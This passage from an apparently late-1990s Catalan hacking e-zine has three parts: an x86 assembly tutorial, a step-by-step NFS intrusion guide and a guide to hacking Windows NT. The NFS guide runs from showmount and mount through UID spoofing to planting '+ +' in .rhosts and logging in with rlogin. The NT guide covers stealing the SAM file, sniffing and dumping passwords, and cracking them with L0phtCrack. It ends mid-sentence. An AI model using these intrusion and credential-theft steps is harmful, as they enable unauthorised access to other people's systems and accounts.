quan fessim un 'call show_regs' veuriem els canvis.
LOCK - Bloqueja el bus (per evitar errors en processos en paral.lel)
LOOP label - Realitza el salt a "label" sempre i quan el registre CX no sigui
zero, a mes fa un DEC CX.
Tambe podem utilitzar aquesta ordre fent LOOPZ (Loop while zero) que
fa el mateix que l'anterior sempre i quan CX sigui zero. fent a mes
el corresponent DEC CX. Tambe tindrem el LOOPNZ (loop while not zero)
MOV - MOVS - MOVB - MOVW - MOVD dest,src - Mou strings (S), bytes (B), word(W)
i doublewords(D). Aquesta ordre ja la vaig explicar en el primer
capitol.
NOP - No operation patch. Fa un cicle sense operar,s'utilitza per estabilitzar
tots els registres.
REP ordre - Repeteix una ordre fins que CX=0.
RET - Retorna a la possició següent de l'apuntador de la ultima CALL.
(es com el RETRUN de basic pero sense el com xD)
FLAGS:
~~~~~~
Les flags son indicadors d'alguna cosa que esta passant al sistema i serveixen
(en gran part) per arreglar errors com poden ser l'overflow o l'exces de mida
(carry). Aquestes flags nomes tenen dues possicions: 0 i 1.
Per exemple si activem la flag de reset el sistema faria un reset (logic :)
Tambe tenim la flag Overflow (OF) que s'activa quan hi ha un valor que
excedeix del seu maxim tamany.
El carry flag s'activa quan passem de 9999 a 10000, o a un nombre negatiu, ..
Serveix per indicar que hi ha un '5' nombre a la xifra i que aquest es 1.
Ara us redacto les mes importants, no totes.
IF - Interrupcio: Que permet treballar amb el hardware (INT)
S'activa amb STI (set interrupt flag) i es desactiva amb CLI (Clear
Interrupt flag).
CF - Carry: Es fica 1 quan el resultat es major de 255 si treballem amb un
byte i major de 65535 si treballem amb una word. S'activa amb STC i
es desactiva amb CLC.
DF - Direction: S'activa amb STD i es desactiva anb CLD
SF - Sign Flag: S'activa quan el resultat d'una operacio es negatiu.
ZF - Zero Flag: S'activa quan el resultat d'una operacio es zero.
OF - Overflow flag: S'activa quan el resultat es massa petit o massa gran.
PF - Parity flag: Es una flag auxiliar, te diverses aplicacions.
BASES NUMERIQUES:
^^^^^^^^^^^^^^^^^
Com tots (espero) sabrem nosaltres utilitzem un metode decimal per contar les
coses (de 10 en 10) o sigui que cada 10 xifres s'augmenta en 1 la xifra de
l'esquerra. Es simple. Pero, tb existeixen altres bases numeriques (mes
complicades per nosaltres) pq no les utilitzem mai, que son:
binari: Es la base numerica mes petita, s'indica amb un 0 o un 1, es la mes
utilitzada per la informatica ja que es simple i evita errors (o si
o no, no hi han intermitjos). S'indica amb una 'b' al final del
nombre: per exemple: 01110010b
octal: Conta de 8 en 8, i es poc utilitzada. S'indica amb una 'o'
decimal: de 10 en 10 i es simbolitza amb 'd'
hexadecimal: Conta de 16 en 16 i es molt utilitzada, ja q permet visualitzar
els bits (binaris) de forma mes facil per nosaltres. s'indica amb una
'h'. Per exemple: 3Fh . Al ser una xifra que supera el 10, es va
decidir d'utilitzar l'abecedari. o sigui: 0123456789ABCDEF
Pero com podem passar de binari a hexadecimal? Doncs molt facil, hi ha un
metode molt simple i ràpid. Es tracta en agafar els bytes i dividir-los en
grups de 4 xifres:
01101100 ->> 0110 1100
I llavors seguint una simple taula de valors sumar els punts i escriure-ho en
hexadecimal:
1234 <- ixo es la possicio del bit dins de cada 'mig byte'
8421 <- aquest es el valor que haurem de sumar si el bit es 1.
Exemple:
BYTE: 10100111
1)- Separar en grups de 4: 1010 0111
2)- Sumar els 'punts' de cada 'migbyte':
1010 = 8+0+2+0 = 10
0111 = 0+4+2+1 = 7
3)- Passar al valor hexadecimal:
10 -> A
7 -> 7
4)- El valor hexadecimal d'aquest byte seria: A7h (l'h' indica q es hex.)
Llavors treiem dues conclusions: 1 byte buit es:
0000 0000 -> 00h
I que un byte ple es:
1111 1111 -> FFh
PROGRAMANT I COMPILANT:
+++++++++++++++++++++++
Un dels problemes de l'ensamblador es trobar editors amb bones ajudes i demes
que facin facil el seu us. Al meu poder nomes han arribat dos editors, de la
ma de la BBS Quartz (us la recomano ;), es diuen: TED i ASSEMBLER LABORATORY,
jo prefereixo el ted (turbo editor), ja que es mes simple i porta menys
'problemes', amb el segon vaig tenir un problema que em va llegint del disc
dur tota l'estona i es fa lent. Un dels problemes d'aquests editors es que
venen sense programes externs, que els necessiten per executar i compilar,
aquests programes son el tlink i tasm, que els podreu trobar per la xarxa i
si els trobo potser els pujo a la wib. Pero, certament, l'eleccio d'un editor
es una cosa molt personal, aixi que us recomano que probeu els dos i escolliu.
Pero si no tenim un editor d'asm, nosaltres, pobres mortals haurem de
seguir el llarg i dur cami del gran POP. Haurem de compilar-lo (oj! quina
paraula mes professional!), per fer aixo, podem utilitzar diversos programes,
pero principalment em centrare en 2:
AVLASM i MASM/TLINK
El primer i segurament el segon els podeu trobar a la nostra wib:
welcome.to/cathack
El primer, es potser el mes simple i rapid, pero hem de tenir en compte que
si el codig es bastant complex ens pot donar error, i no saber-ho, ja que
l'avlasm, no dona errors, compila i punt.
Ara, si el que volem es una bona compilacio haurem d'utilitzar el MASM,
"Microsoft ASeMbler" encara que ens faci el el nom es aixi, tb podem pasarnos
pel TASM, que ve a ser el mateix pero amb 'T'.
El bo d'aquest compilador es que ens avisa de tots els errors de la compilacio
i podem corretgir-ho i recompilar de nou. Primer haurem d'escriure el codig
font en un fitxer i possarli el nom: xxxxxxxx.ASM, (on 'xxxxxxxx' es el nom de
8 caracters), i escriure: "MASM xxxxxxxx.ASM" simple no? Pero rapidament ens
adonarem que el que ha fet ha sigut un fitxer binari anomentat xxxxxxxx.OBJ,
gracies als fitxers OBJ poder juntar programes i utilitzar subrutines entre
diversos programes asm. Per compilar-lo finalment haurem d'utilitzar el
programa LINK, de la forma seguent: "LINK xxxxxxxx.OBJ+fileobj2.OBJ+obj3...
I al final conseguirem un bonic fitxer exe anomenat: xxxxxxxx.EXE.
Si no ho teniu gaire clar podem fer unes practiques:
Escribiu aques programa en un fitxer .ASM:
=====================PROVA1.ASM=====================
; Els punts i comes serveixen per fer comentaris
; Aquest fitxer es de prova,si no rula haurem d'utilitzar alguna llibreria OBJ
.MODEL SMALL ; Necessari pel compilador
.CODE ; Aqui li indiquem que iniciem el POPgrama
linia_inicial: ; etiqueta inicial
call get_num ; demana un nombre signat o no. (*)
call print_num ; mostra el nombre en hex,chr,sign. (*)
jmp linia_inicial ; salta a la linea inicial
END ; Aqui finalitza el POPgrama
;---------------------
; (*) = Aquestes funcions (get_num, print_num) son subrutines que no estan
; incluides en el cf i per tant no funcionaran
;---------------------
=====================PROVA1.ASM=====================
.-----------------------------.
| Asm v3.0 || <<- Acoplamenta del tercer capitol
| by Pop.tPH ||
`=============================''
Espero que us estigui agradant aquest curset practico/teoric d'ensamblador,
i que dintre de poc puguem comensar a treure les nostres primeres creacions
a la llum. Doncs be, en els altres nombres passats em vaig deixar els JMPs
a l'aire, i crec que ha arribat l'hora de parlar d'aquells grans desconeguts.
JMPs:
~~~~~
En l'ensamblador quan haguem de fer canvis de possicio d'un punt a un altre,
haurem d'utilitzar l'ordre JMP (salt incondicional), amb aquesta ordre podrem
saltar a qualsevol etiqueta del programa.
.-------------------------.
ex. | etiqueta1: | <<---- Sr. LooP
| jmp etiqueta1 |
`--------------------------'
Pero, els senyors d'intel van trobar-se amb el senyor IF que els va presentar
uns problemes, com tots sabeu el senyor IF serveix per fer accions depenent
d'altres valors:
.------------------------.
ex. | if A=3 then print "pop" | <<---- Sr. IF en Basic
`-------------------------'
Per solucionar els problemes de l'IF, van decidir simplificar el llenguatge
encara mes, per fer-lo mes baix encara. I llavors cada cop que tinguessim que
fer un IF el fariem a traves d'un salt condicional. En moltes ocasions per
trobar la comparacio entre els 2 valors ho farem amb l'ordre CMP (comparar).
D'aquesta forma:
.-------------------------.
ex. | valor1 db 23 |
| valor2 db 10 |
| cmp valor1, valor2 | <<----Sr. IF en Asm.
| je igual |
| jne no es igual |
`--------------------------'
Be, suposo que us haureu perdut una mica. Aixi que primer us donare una llista
de tots els jumps condicionals que hi han i a la dreta fico un exemple amb
el CMP, sabent que el primer valor es A i el segon B: 'cmp a,b'
Signed (valors amb signe (positiu/negatiu)
JA - Jump if above (Salta si es mes gran) A > B
JNG - Jump if not greater (Salta si es petit o igual) A <=B
JE - Jump if equal (valor hexadecimal=75h) A = B
JNE - Jump if not equal (valor hexadecimal=74h) A <>B
JNLE- Jump if not less or equal (salta si es mes gran) A > B
JL - Jump if less (Salta si es mes petit) A < B
JNL - Jump if not less (Salta si es igual o major) A =>B
JZ - Jump if zero (Salta si es zero) A = 0
JNZ - Jump if not zero (Salta si no es zero) A <>0
JGE - Jump if great or equal (Salta si es igual o major) A =>B
Unsigned (sense signe, no valora si es positiu/negatiu A o B (valors absoluts)
JA - Jump if above A > B
JNA - Jump if not above A <=B
JB - Jump if below A < B
JNB - Jump if not below A =>B
JAE - Jump if above or equal A =>B
JNAE- Jump if not above/equal A < B
JBE - Jump if below or equal A <=B
JNBE- Jump if not below/equal A > B
JE - Jump if equal A = B
JNE - Jump if not equal A <>B
JZ - Jump if zero A = 0
JNZ - Jump if not zero A <>0
Flag:
JC - Jump if Carry flag CF =1
JNC - Jump if not Carry flag CF =0
JO - Jump if Overflow flag OF =1
JNO - Jump if not Overflow flag OF =0
JP - Jump if Parity flag PF =1
JPE - Jump if Parity flag is even PF ==
JNP - Jump if Parity flag is not set PF =0
JPO - Jump if Parity flag is odd PF =senar
JS - Jump if Sign flag SF =1
JNS - Jump if not Sign flag SF =0
JCXZ- Jump if CX is zero CX =0
He separat en tres grups tots els jumps que hi han, els 'sign' (-128, +128),
els 'unsign' (0, 256) i els 'flag' que depenen de logicament les flags, podria
destacar el JE i el JNE ja que son molt utilitzats en el cracking, per evitar
missatges d'error i registracions absurdes. Si us haureu fixat hi han molts
de repetits i es cert, pero que hi farem es aixi. Tambe hem de saber quines
flags s'activen quan comparem dues xifres 'cmp a, b':
.---------SF-OF-.
| A << B 0 0 | <--- No us enrefieu gaire d'aquesta taula, la vaig treure
| A >> B 1 1 | d'un manual, i no se si es cert del tot.
| A < B 1 0 |
| A > B 0 1 |
`-----------------'
DATA:
~~~~~
Una cosa tambe molt important es la DATA, amb la data podem emmagatzemar
variables, que poden ser de diversos tipus:
1/ String (frase) cal escriure-ho entre cometes (") o apostrofs (')
2/ Char (caracter) Un sol caracter, s'ha de possar com l'string
3/ Nombre Decimal - S'ha de possar sense cap distincio especial
4/ Nombre hexadecimal - S'ha de distingir amb la lletra 'h' al final,
i si comensa amb una lletra possar-li un zero davant.
ex. A4 ->> 0A4h
5/ Operacions, entre nombre decimals/variables/...
6/ ? - Serveix per definir una variable sense cap valor.
Podem definir una variable de la seguent forma:
.-------------------------------------.
| 'nom_de_variable' 'd_tipus' 'texte' |
`---------------------------------------'
On a nom de variable possariem un nom, que no sigui cap altre ordre asm.
A d_tipus possariem de quants bits seria la variable:
db - Define byte (8 bits)
dw - Define word (16 bits)
dd - Define doubleword (32 bits)
dq - Define quadword
dt - Define ten-byte
df - Define farword
Nosaltres nomes utilitzarem el primer, db ja que estalviarem memoria a l'hora
d'accedir a aquella variable. Encara que sigui de 8 bits, podem fer que el
texte sigui de mes de 8 bits. ex: variable db 'aixo es una frase'.
Entre 'd_tipus' i 'texte' podem ficar una petita operacio 'dup' amb aquesta
operacio li direm que la variable sigui de x copies. Per exemple:
variable_dup db 15 dup ('c')
Llavors quan accedissim a la 'variable_dup' ens donaria el valor:
ccccccccccccccc ( o sigui, 15 c )
Fins hi tot podem ficar operacions matematiques complexes, aixi:
operacio db (32 * 2) + 8 / (4^3)
--------------------
Molt bé, ja n'hi ha prou de teoria, a partir d'aquest capítol farem més
practica, que es com s'apren. Si no heu entès la teoria (lo de dalt) ho torneu
a llegir i si no enteneu algo m'envieu un mail a poptph@hotmail.com
Seria bó que per començar us interessesiu per la ordre INT, que a partir d'ara
la treballarem molt, ja que amb ella podem fer de tot. Pero de tot aixo ja
parlarem en el següent article. Ara per acabar us faré alguns consells per
programar en asm.
.- Quan volem assignar el valor 0 a una variable en teoria seria fer aixo:
mov ax,0 (per exemple) - pero els popgramadors com que tenen problemes
mentals s'han de complicar més la vida fent ordres aixi: xor ax,ax, que
dona el mateix resultat pero de forma més rebuscada (ho dic per si
alguna vegada us trobeu en aquest cas).
.- Acostumeu-vos a fer comentaris!!! amb ";" ja que aixi el programa es fa
molt més entenedor.
.- Busqueu cf de virus i llegiu-los
.- MOV, si utilitzeu aquesta ordre i penseu compilar el codi (tasm/masm)
fixeu-vos en que si la cadena "variable" comença en numero la conta com
a número sino com a etiqueta.
ex.
MOV AH,4C --> número
MOV AH,A --> etiqueta
MOV AH,0A --> número
.- Els compiladors asm us poden facilitar la feina si el que voleu és
imprimir lletres, ja que si feu MOV AH,'A' grabarà el valor ascii-hex de
la lletra que posseu (en l'exemple A) en el registre AH.
.- Podeu treballar en Procediments:
NOM_DE_PROCEDIMENT PROC ; inici del procediment principal
SUB_PROCEDIMENT PROC ; inici del subprocediment
SUB_PROCEDIMENT ENDP ; fi del subprocediment
END NOM_DE_PROCEDIMENT ; fi del procediment principal
.- Pq els programes EXE ocupen 1k i els COM no?, doncs fàcil, els EXE graben
un encapçalament a l'inici del fitxer que els ajuda a localitzar-los en
memòria i a direccionar possicions de memoria dins del fitxer majors de
64k (recordeu el gran fallo de la intel).
.- Segments: Va ser el resultat de la xapuça de la intel en cagarla al fer
els registres tant petits, llavors van decidir ampliar-los a 20bits, i
pero poder-los direccionar calia modificar una variable nova per poder
accedir a les noves possicions (el CS = Code Segment), fins ara només
treballàvem amb el IP Intruction Pointer. (CS:IP)
.- De la mateixa forma podíem accedir a la pila sobre els 20 bits utilitzant
els registres SS:SP - Stack Pointer:Stack Segment.
.- Es per aixo que es van inventar les ordres NEAR/FAR, que junt amb un
altre ordre ajuden al compilador a compilar ;) o sia:
JMP NEAR etiqueta_del_mateix_CS_pero_diferent_IP
JMP FAR etiqueta_del diferent_CS
CALL NEAR...
CALL FAR...
(etc...)
.- No us fieu, MAI!, de res ni de ningu, ni de vosaltres, alhora de
programar tot pot fallar aixi que no dongueu per suposat. exemple:
volem canviar al mode de video 0 (40x25 caracters) i fem:
mov al,0
int 10
> executem... no funciona!! pq? doncs pq potser abans d'executar el
programa el registre ax, tenia un valor diferent a 0 i per tant ah
pot executar una funcio diferent, per tant seria millor fer aixi:
mov ax,0 ; tb podria ser xor ax,ax :)
int 10
ara si que funciona!!. Un altre punt de fallo podria ser culpa dels
registres al fer CALLs, ja que al tornar d'una call necessita fer una
CMP o JE (pexemple) i per tant necessita comparar els registres i
a vegades es modifiquen, solució? grabar i cargar els registres
abans i després de cada operació "temuda" aixi:
graba_registres:
PUSH AX
PUSH BX
PUSH CX
PUSH DX
carga_registres:
POP DX
POP CX
POP BX
POP AX
Doncs bé, per avui ja n'hi ha poropopou, el proxim article serà a la cathack5
i estarà bastant més interessant i començarem a fer programes interessants i
utils, potser algun dia podrem fer virus i tot! (quines coses més lletges!)
DONEU DE MENJAR A LES LLENTIES
>POP!
111111111111111111111111111111111111111111111111111111111111111111111111111111
000000000000000000000000000000000000000000000000000000000000000000000000000000
111111111111111111111111111111111111111111111111111111111111111111111111111111
000000000000000000000000000000000000000000000000000000000000000000000000000000
111111111111111111111111111111111111111111111111111111111111111111111111111111
$07$
==========================
# Collint informació II #
# #
# Per BaRner #
#===================#
En aquesta segona part aprofundirem mes en el tema aquest i en centrarem una
mica en sistemes Unix i Linux.
Aquest text va enfocat mes a sistemes amb linux o Unix. A diferencia del
primer text, aquest serà una mica més pràctic.
En el primer capitol el pop us parlava de la informació minima que s'ha de
tenir per començar a hackejar un servidor. Però jo ho he volgut ampliar
perque sabent nomes la ip i els ports que té oberts no en tindrem casi ni
per començar. Tot i que també és possible entrar a algun servidor només
sabent això però bueno.. deixo d'enrollar-me i anem al gra.
Una cosa molt important és saber quins serveis corren en un sistema
Linux o Unix. Aquests serveis son els que se'n diuen RPC. (Remote
Procedule Call) o algo així.. :)
Per mirar-ho haurem de fer desde la shell de unix o linux el seguent:
# rpcinfo -p host
i ens sortirà una cosa de l'estil..
www.victima.com
program vers proto port
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
100005 1 udp 635 mountd
100005 2 udp 635 mountd
100005 1 tcp 635 mountd
100005 2 tcp 635 mountd
100003 2 udp 2049 nfs
100003 2 tcp 2049 nfs
Doncs aqui podeu veure quins serveis té abilitats el servidor i el port en
que estan corrent i també podem saber quin el protocol que utilitza, etc..
I de que ens serveix això?
doncs resultat que hi ha serveis d'aquests que tenen uns quants bugs i llavors
toca la part de buscar els corresponents xploits.
hi ha servidors que tenen el servei rpc tooltalk, que es un servidor de
base de dades i que afecta al 18.1% dels servidors.
Doncs en aquest servei , per exemple , hi ha un xploit que et fa root remotament.
Aquest o d'altres xploits els podreu trobar a
http://oliver.efri.hr\~crv\security\bugs\
Aquest és un dels sistemes més senzills de hack.
*** 2on mètode ***
Un dels molts mètodes que hi ha , i senzill , és el de veure si exporta
directoris.
Per veure si n'exporta i si ho podem utiltizar per penetrar el sistema
utilitzem la ordre:
# showmount -e host
Export list for patates.bullides.net:
/hd truita.com
/home/users (everyone)
/ 154.21.140.2
El primer i ultim es veu que nomes es pot exportar de truita.com i
de 154.21.140.2 , respectivament.
I el segon en canvi és el que ens interessa. I vol dir que /home/users
s'exporta a everyone. O sigui a tothom.
I com ho podem aprofitar això? doncs aqui vaig...
A per cert.. se m'oblidava. Tot això s'ha de fer com a usuari "root"
Un cop trobada una maquina que exporti directoris (everyone) el que tenim
que fer primer de tot , es montar-la al nostre disc dur (HD). I com es fa?
doncs seguiu llegint..
# mount -nt nfs ip_de_la_maquina:directori(everyone) /directori_nostre
en el nostre cas ens quedaria:
# mount -t nfs patates.bullides.net:/home/users /mnt
El directori s'ha montat a /mnt i un cop això podem mirar que hi ha a
dintre.
Ens hem de fixar en els permisos dels directoris per veure el GID i UID
de cada usuari
gamba:~/mnt/# ls -la
drwxr-x--x 22 josep 501 2304 Feb 28 1996 mar/
drwxr-xr-x 473 7999 590 8192 Nov 24 12:29 pep/
drwxr-x--x 23 arnau 3011 2048 Feb 3 01:36 arnau/
drwxr-x--x 22 7999 3004 1024 Feb 28 1996 laia/
Un cop això hem escollim qualsevol usuari que volguem.
Doncs nosaltres escollim el directori pep.
Ara el que hem de fer es crear un usuari , a la nostra maquina, que es
digui pep.
Editem el nostre /etc/passwd i en el nostre cas ens quedaria:
|->PASS
| |-> UID
| |
pep:x:473:7999:pep:/mnt/home/pep:/bin/bash
|
|->GID
Ara canviem el nostre login per el de pep amb:
gamba:~/#
I podrem treballar amb l'usuari pep amb els seus GID i UID corresponents.
Ara ens dirigim cap al directori /mnt/home i com que tenim el mateix gid
i uid, i el servidor es pensarà que som l'usuari real.
Doncs bé, ara per poder tornar aconseguir una shell i poder entrar sempre
que volguem haurem de fer lo del famosissim .rhosts
gamba:~/# echo + + > .rhosts
ara sortirem amb exit , i per tornar a entrar farem:
gamba:~/# # rlogin -l pep patates.bullides.net
.-.-.-.-.-.-.-.-.-
I per acabar aquest article us posaré unes estadístiques que va elaborar
"Internet Auditing Project"
Internet Auditing Project
-------------------------
Nodos de escaneo: 5
Trabajos Por Minuto: 250
Tiempo de escaneo: 20.24 días
Vulnerabilidades testadas: 18
Dominios: 7 dominios de tres letras, 214 dominios nacionales
Máquinas: 36.431.374
Vulnerabilidad: 730.213
Máquinas vulnerables: 450.000
Servicio Vulnerabilidad %
tooltalk 190.585 máquinas 26.1%
(servidor de bases de datos. Avisado por el CERT en 1998)
bind 132.168 máquinas 18.1%
(Berkeley Internet Name Daemon. Avisado por el CERT en 1996)
wu_imapd 113.183 máquinas 15.5%
(Internet Message Access Protocol, programa de correo. Conocido por el CERT desde 1997)
qpopper 90.546 máquinas 12.4%
(servidor de correo POP. Avisado por el CERT en 1998)
wwwcount 86.165 máquinas 11.8%
(contador de web)
rpc_mountd 78.863 máquinas 10.8%
(servidor para montar particiones de red, en SunOS. Conocidas
vulnerabilidades desde 1994)
ews 9.346 máquinas 1.28%
(Excite Web Server, programa buscador. Avisado por Excite en 1998)
phf 6.790 máquinas 0.93%
(extensor de páginas web)
webdist 5.622 máquinas 0,77%
(programa cgi para IRIX. Avisado por el CERT en 1997)
innd 3.797 máquinas 0,52%
(InterNet News Daemon. Avisado por el CERT en 1997)
Otras vulnerabilidades 18.000 máquinas 2.42%
Doncs per avui és tot.
Ens veiem a la tercera part d'aquest article
Salut i Lluita!
111111111111111111111111111111111111111111111111111111111111111111111111111111
000000000000000000000000000000000000000000000000000000000000000000000000000000
111111111111111111111111111111111111111111111111111111111111111111111111111111
000000000000000000000000000000000000000000000000000000000000000000000000000000
111111111111111111111111111111111111111111111111111111111111111111111111111111
$08$
HACKEJAR WINDOWS NT AMB ACCES FISIC A LA MAQUINA
per Alex Castan Salinas
alex.castan@upc.es
Hola xiquets i xiquetes.
Continuem amb la serie d'articles "Hackejant amb acces fisic a la maquina".
Aquesta vegada li toca el torn a Windows NT 4.0. Com veureu, no es gaire mes
dificil de hackejar que una maquina amb Windows 9x (veure numero anterior de
la revista).
Abans de tot vull dir-vos que hackejar maquines Windows NT 4 Server a les que
no teniu acces fisic tambe es possible, per exemple, a traves de NetBios o de
vulnerabilitats al Internet Information Server (programa que s'instal.la per
defecte). Per temps i extensio no cobrire aquest tema, pero podeu trobar dos
excel.lents articles a Internet:
* Nom : Hacking NT (en llengua anglesa).
Lloc : http://www.inseguridad.org/
Grup : Rhino9 http://www.rhino9.org
http://www.technotronic.com/rhino9
Autor : Chameleon http://chameleon.core.com.ar
* Nom : Hacking NT v1.2 (en llengua castellana).
Lloc : http://members.xoom.com/set_files/hacknt.zip
Grup : "Saqueadores" http://www.thepentagon.com/paseante
Autor : Chessy http://www.arrakis.es/~chessy
Be, a les seguents linies tractarem de nou diferents metodes per aconseguir
els noms d'usuaris del sistema i les seves contrasenyes. Per altres tipus
d'atac (denegacio de servei, etc.) us podeu remetre als dos articles que
acabem de citar.
En Windows NT 4 els noms d'usuari i les seves contrasenyes els podem pescar a
diferents llocs:
* Als fitxers WINNT\SYSTEM32\CONFIG\SAM. i WINNT\REPAIR\SAM._
* Al registre de la maquina.
* Circulant a la xarxa, mitjancant un sniffer.
Les contrasenyes que contenen aquests fitxers estan "encriptades", que vol dir
amagades mitjancant algun metode criptografic. Per aconseguir les contrasenyes
originals a partir de les contrasenyes encriptades necessitareu l'excel.lent
programa L0PHTCRACK que trobareu a la pagina web www.l0pht.com (el segon
caracter es un zero).
Comenca l'accio:
1. ACONSEGUIR EL FITXER DE CONTRASENYES
----------------------------------------
Si no sou usuaris del sistema (no disposeu de nom d'usuari i contrasenya) no
podeu iniciar una sessio en Windows NT 4 per treballar. Que fer?
Apagar l'ordinador i arrencar-lo de nou pero amb un disquet d'arrencada de
ms-dos. Aquest disquet el podeu crear amb facilitat en qualsevol ordinador amb
sistema operatiu ms-dos o Windows 9x.
A continuacio anireu al directori WINNT\SYSTEM32\CONFIG\ del disc dur on teniu
el Windows NT i copiareu el fitxer SAM al disquet. Ja el teniu! ara passeu al
punt 6.
Si havent arrencat amb al disquet de ms-dos no podeu treballar amb el disc
dur, aixo vol dir que el disc dur utilitza el sistema de fitxers NTFS. Windows
NT pot treballar amb dos sistemes de fitxers: FAT (el de ms-dos i Windows 9x)
i NTFS (especific de NT). Perque arrencant amb el disquet us reconegui el disc
dur haureu d'executar, despres d'arrencar, el programa NTFSDOS.EXE que
trobareu a la pagina web www.sysinternals.com . Aquest es un petit programa
gratuit de 50 Kb que permet al ms-dos treballar amb particions NTFS.
Inconvenient: pot ser que no pugueu arrencar des de disquet degut a la
configuracio de la BIOS i que no pugueu canviar la configuracio de la BIOS
perque estigui protegida per una contrasenya. En un proper numero de la
revista parlarem de com solucionar aquest problema.
2. FITXER DE CONTRASENYES DEL DISC D'EMERGENCIA
------------------------------------------------
El fitxer d'usuaris i contrasenyes es troba a WINNT\SYSTEM32\CONFIG\SAM i no
es pot aconseguir mentre Windows NT 4 s'executa, ja que el sistema operatiu el
bloqueja :( pero existeix un fitxer de contrasenyes addicional ...
Quan a Windows NT 4 es crea un disquet d'emergencia, la informacio del
registre que es guardara al disquet es copia primer al directori WINNT\REPAIR\
i alla queda per sempre si ningu no l'esborra. En aquest directori trobareu un
fitxer anomenat SAM._ que es el fitxer d'usuaris comprimit en el moment de
crear el disquet d'emergencia. Per descomprimir-lo escriviu a la linia de
comandes EXPAND SAM._ SAM i creara l'arxiu SAM. descomprimit. Ara nomes heu
d'obtenir les contrasenyes (punt 6).
Inconvenient: pot ser que les contrasenyes que trobeu a aquest fitxer ja no es
facin servir actualment.
3. ESNIFAR CONTRASENYES
------------------------
Per iniciar sessions a una xarxa, per compartir recursos, etc., els noms
d'usuari i les contrasenyes s'envien encriptats per la xarxa. Podeu executar
un programa a la vostre maquina que capturi aquests paquets que circulen. A
Internet podeu trobar multitud d'aquests programes ('sniffers') pero
casualment el programa L0PHTCRACK ja incorpora un a l'opcio 'Tools -> SMB
Packet Capture'. Deixeu el programa executant-se durant una estona i recolliu
les contrasenyes despres.
4. OBTENIR CONTRASENYES DEL REGISTRE
-------------------------------------
El tercer lloc on podeu trobar contrasenyes a Windows NT es al registre. Heu
d'executar el programa L0PHTCRACK, seleccionar l'opcio 'Tools -> Dump
Passwords from Registry' i ja els teniu.
Amb aquesta opcio, si treballeu en xarxa, fins i tot podeu obtenir les
contrasenyes d'altres maquines. Al quadre que apareix quan seleccioneu l'opcio
'Dump passwords' especifiqueu el nom d'un ordinador o la seva adreca IP amb el
format \\nom_ordinador o \\adreca_IP.
Si fem servir la versio castellana de NT, per que l'opcio 'Dump passwords'
funcioni cal modificar una clau del registre. Executeu regedit.exe i
canvieu el valor Administrators pel nou valor Administradores a la clau
HKEY_CURRENT_USER\Software\L0pht\L0phtCrack\AdminGroupName
Inconvenient: per aconseguir les contrasenyes d'aquesta manera cal privilegis
d'administrador. I ara preguntareu: per que vull obtenir contrasenyes si ja
tinc privilegis d'administrador? Be, potser aquestes contrasenyes us donin
acces a altres sistemes, potser hi hagi mes d'un usuari amb privilegis
administratius i vulgueu la seva contrasenya, etc. I ara tornareu a preguntar:
com puc aconseguir privilegis d'administrador? Doncs llegiu el seguent punt.
5. ESDEVENIR ADMINISTRADOR SENSE CONTRASENYA
---------------------------------------------
Primer mirem el metode mes ximple, pero que de vegades funciona! A una estacio
de treball Windows NT es pot iniciar una sessio de dues maneres. A la finestra
on es demana el nom d'usuari i contrasenya, hi ha a mes a mes una petita caixa
on es pot seleccionar o be el nom del domini per iniciar una sessio en xarxa
administrada per servidor, o be l'opcio WorkGroup per iniciar una sessio en
xarxa amb administracio individual. Les contrasenyes per un usuari no tenen
per que ser les mateixes per iniciar la sessio d'una manera o de l'altre. M'he
adonat de que a algunes instal.lacions de NT quan inicies una sessio com a
WorkGroup, per defecte l'usuari Administrador no te contrasenya!!!
Un altre metode es el seguent. La instal.lacio per defecte de Windows NT esta
plena de vulnerabilitats (defectes que exposen el sistema a un atac).
Periodicament Microsoft treu un programa amb pegats, anomenat Service Pack',
que un cop instal.lat soluciona aquestes vulnerabilitats. Actualment van pel
Service Pack 6. No obstant, noves vulnerabilitats son descobertes cada dia.
Podeu entrar com a usuari normal i aprofitar alguna d'aquesta vulnerabilitats
per esdevenir administradors. Si no sou usuaris proveu d'accedir amb el nom
d'usuari Invitado ('Guest' si el vostre Windows NT esta en angles) i sense
contrasenya. A la instal.lacio per defecte funciona.
Podeu trobar programes que aprofiten aquestes vulnerabilitats (exploits) a
multitud d'adreces d'Internet. Per que no hagueu de cercar gaire, algunes son:
* http://www.infowar.co.uk/mnemonix/utils.htm
* http://www.cybermedia.co.in/AllFullPages/NTSec/Vulnerabilities.htm
* http://neworder.box.sk , a l'apartat '#MS Windows 95/NT security'.
* http://xforce.iss.net
Per saber quines vulnerabilitats exposa el vostre sistema NT, el millor es
baixar d'Internet algun programa escanejador de vulnerabilitats. El millor que
conec es:
* CIS (Cerberus Information Security) a http://www.cerberus-infosec.co.uk/
Si tenint privilegis d'administrador encara no podeu executar l'opcio 'Dump
passwords from registry' del programa L0PHTCRACK, com a minim podeu crear un
nou disc d'emergencia que contindra el fitxer SAM actualitzat escrivint a la
linia de comandes RDISK /S . Com a administradors tambe podeu executar les
eines administratives de Windows NT. La eina 'administrador d'usuaris' us
permetra veure i canviar els privilegis dels grups i dels usuaris. Aixo es
especialment util per veure tots els usuaris amb privilegis administratius
(usuaris del grup administradors).
6. L0PHTCRACK
-------------
Be, com hem vist, amb el programa L0PHTCRACK podeu recuperar les contrasenyes
directament del registre, del sistema d'arxius, del disquet de reparacio o
mentre travessen la xarxa. Aquestes contrasenyes estan encriptades. Un cop
tingueu el fitxer de contrasenyes, graveu-lo ben gravadet en un disquet. A
continuacio anireu al ordinador de casa vostre i fareu servir el programa
L0PHTCRACK per obtenir les contrasenyes originals a partir de les contrasenyes
encriptades. Per fer aixo hi han tres metodes diferents.
El metode mes rapid per crackejar contrasenyes es l'atac de diccionari. Es
tracta de provar com a contrasenyes originals totes les paraules d'un fitxer
de paraules (diccionari). Molta gent utilitza com a contrasenyes paraules com
Alex o Bara. Podeu crear el vostre propi fitxer de paraules, pero el mes
efectiu es cercar-lo a Internet.
El segon metode es l'atac hibrid. Es tracta de realitzar l'atac de diccionari
afegint caracters numerics i simbolics a les paraules del diccionari. Molta
gent utilitza contrasenyes com Alex29 o Bara!.
El tercer i mes poderos metode es l'atac de forca bruta. Aquest metode sempre
recupera la contrasenya original, mentre que els dos metodes de crackejat
anteriors no sempre. Es tracta de provar TOTES les contrasenyes formades per
un determinat conjunt de caracters. Atencio, aneu amb compte que pot arribar a
ser un atac molt lent. Per que us feu una idea: en un Pentium II a 450 Mhz, si
